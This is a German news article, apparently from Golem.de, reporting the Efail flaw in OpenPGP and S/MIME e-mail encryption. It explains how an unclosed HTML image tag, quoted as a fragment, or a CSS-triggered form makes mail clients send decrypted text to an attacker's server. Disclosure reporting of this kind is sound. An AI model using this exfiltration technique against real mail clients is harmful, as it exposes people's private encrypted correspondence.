Abo
  • IT-Karriere:

PGP/SMIME: Angreifer können sich entschlüsselte E-Mails schicken lassen

Ein Zusammenspiel von veralteten Verschlüsselungsmethoden und HTML-Mails erlaubt es in vielen Fällen, mit OpenPGP oder S/MIME verschlüsselte Nachrichten zu exfiltrieren. Bislang gibt es keine echten Fixes und nur unzureichende Workarounds.

Artikel von Hanno Böck veröffentlicht am
Ouch ... die Mailverschlüsselungsstandards S/MIME und OpenPGP nutzen uralte Verschlüsselungsverfahren - und das rächt sich jetzt bitter.
Ouch ... die Mailverschlüsselungsstandards S/MIME und OpenPGP nutzen uralte Verschlüsselungsverfahren - und das rächt sich jetzt bitter. (Bild: Jana Runde/Zuzana Somorovska)

Ein Forscherteam hat eine ganze Reihe von Problemen bei der Verwendung verschlüsselter E-Mails entdeckt. Die Efail getaufte Lücke betrifft beide standardisierten E-Mail-Verschlüsselungsverfahren - OpenPGP und S/MIME - und lässt sich in zahlreichen E-Mail-Clients ausnutzen.

Inhalt:
  1. PGP/SMIME: Angreifer können sich entschlüsselte E-Mails schicken lassen
  2. Verschlüsselung nicht authentifiziert
  3. Workarounds, Updates, Gegenmaßnahmen

Das Grundproblem: Verschlüsselung ohne Authentifizierung. S/MIME nutzt einen völlig unauthentifizierten Verschlüsselungsmodus, in OpenPGP ist zwar theoretisch eine Authentifizierung vorgesehen, die ist aber in der Praxis oft nutzlos.

Die Angriffe nutzen HTML-Mails, um entschlüsselte Daten an den Server des Angreifers zu schicken. Dabei wird eine bestehende E-Mail so umgestaltet, dass der HTML-Code eine Anfrage zu einem Server auslöst und dabei den entschlüsselten Text der Mail mitschickt.

Angriff über Multipart-Mails

Bereits daraus lässt sich in manchen Fällen ein Angriff konstruieren. E-Mail-Nachrichten können aus mehreren Teilen bestehen, sogenannte Multipart-Messages. In manchen Mailclients - am einfachsten in Apple Mail - ist es möglich, direkt aus dem HTML-Teil einer Nachricht auf den nachfolgenden Textteil zuzugreifen.

Stellenmarkt
  1. Erwin Hymer Group SE, Bad Waldsee
  2. THD - Technische Hochschule Deggendorf, Deggendorf

Ein Angreifer kann nun Folgendes machen: Er schickt als ersten Teil einer Nachricht einen HTML-Teil, der beispielsweise ein Bild lädt, aber den HTML-Tag nicht schließt. Also etwa <img src="http://efail.de/. Als zweiten Teil hängt er den verschlüsselten Teil einer Mail an, die er mitgelesen hat, etwa über einen Man-in-the-Middle-Angriff zwischen den Mailservern. Im Mailclient des Opfers passiert nun Folgendes: Ein Bild wird vom Server des Angreifers geladen und als Pfad wird der Inhalt des nachfolgenden Textteils codiert angehängt.

In Apple Mail funktioniert dieser Angriff direkt, in Mozilla Thunderbird werden in der Standardeinstellung keine Bilder geladen. Doch auch hier ist es mit Tricks möglich, eine Exfiltration der Daten zu erreichen. So kann man beispielsweise per HTML ein Formular erzeugen, das die Daten des verschlüsselten Teils an den Angreifer schickt. Da man die Mail über CSS beliebig layouten kann, kann man das auch so machen, dass ein Klick irgendwo in der Mail dazu führt, dass das Formular abgeschickt wird.

Verschlüsselung nicht authentifiziert 
  1. 1
  2. 2
  3. 3
  4.  


Anzeige
Spiele-Angebote
  1. 12,99€
  2. 4,99€
  3. (-67%) 3,30€
  4. (-12%) 52,99€

mark.wolf 22. Mai 2018

Du solltest Dich mal ein klein wenig mit dem Recht auseinandersetzen. Auch dein...

Auspuffanlage 21. Mai 2018

Hi ich interpretiere das mal so, dass du wissen willst wo es diese Informationen gibt...

joo 17. Mai 2018

-------------------------------------------------------------------------------- +1...

phade 15. Mai 2018

Zumeist Mail von der Seamonkey-Suite (ergo Thunderbird). Nur nutzt das nix, wenn das für...

Mr Miyagi 15. Mai 2018

Natürlich *kann* es das. GnuPG könnte auch ein Abbild Deiner ganzen Mailbox im Speicehr...


Folgen Sie uns
       


Golem-Akademie - Trainer Stefan stellt sich vor

Rund 20 Jahre Erfahrung als Manager und Mitglied der Geschäftsleitung im internationalen Kontext sowie als Berater sind die Basis seiner Trainings. Der Diplom-Ingenieur Stefan Bayer hat als Mitarbeiter der ersten Stunde bei Amazon.de den Servicegedanken in der kompletten Supply Chain in Deutschland entscheidend mitgeprägt und bis zu 4.500 Menschen geführt. Er ist als Trainer und Coach spezialisiert auf die Begleitung von Führungskräften und Management-Teams sowie auf prozessorientierte Trainings.

Golem-Akademie - Trainer Stefan stellt sich vor Video aufrufen
IT-Sicherheit: Auch kleine Netze brauchen eine Firewall
IT-Sicherheit
Auch kleine Netze brauchen eine Firewall

Unternehmen mit kleinem Geldbeutel verzichten häufig auf eine Firewall. Das sollten sie aber nicht tun, wenn ihnen die Sicherheit ihres Netzwerks wichtig ist.
Von Götz Güttich

  1. Anzeige Wo Daten wirklich sicher liegen
  2. Erasure Coding Das Ende von Raid kommt durch Mathematik
  3. Endpoint Security IT-Sicherheit ist ein Cocktail mit vielen Zutaten

Change-Management: Die Zeiten, sie, äh, ändern sich
Change-Management
Die Zeiten, sie, äh, ändern sich

Einen Change zu wollen, gehört heute zum guten Ton in der Unternehmensführung. Doch ein erzwungener Wandel in der Firmenkultur löst oft keine Probleme und schafft sogar neue.
Ein Erfahrungsbericht von Marvin Engel

  1. IT-Jobs Der Amtsschimmel wiehert jetzt agil
  2. MINT Werden Frauen überfördert?
  3. Recruiting Wenn das eigene Wachstum zur Herausforderung wird

Funkstandards: Womit funkt das smarte Heim?
Funkstandards
Womit funkt das smarte Heim?

Ob Wohnung oder Haus: Smart soll es bitte sein. Und wenn das nicht von Anfang an klappt, soll die Nachrüstung zum Smart Home so wenig aufwendig wie möglich sein. Dafür kommen vor allem Funklösungen infrage, wir stellen die gebräuchlichsten vor.
Von Jan Rähm

  1. Local Home SDK Google bietet SDK für Smarthomesteuerung im lokalen Netzwerk
  2. GE Smarte Lampe mit 11- bis 13-stufigem Resetverfahren
  3. IoT Smart Homes ohne Internet, geht das? Ja!

    •  /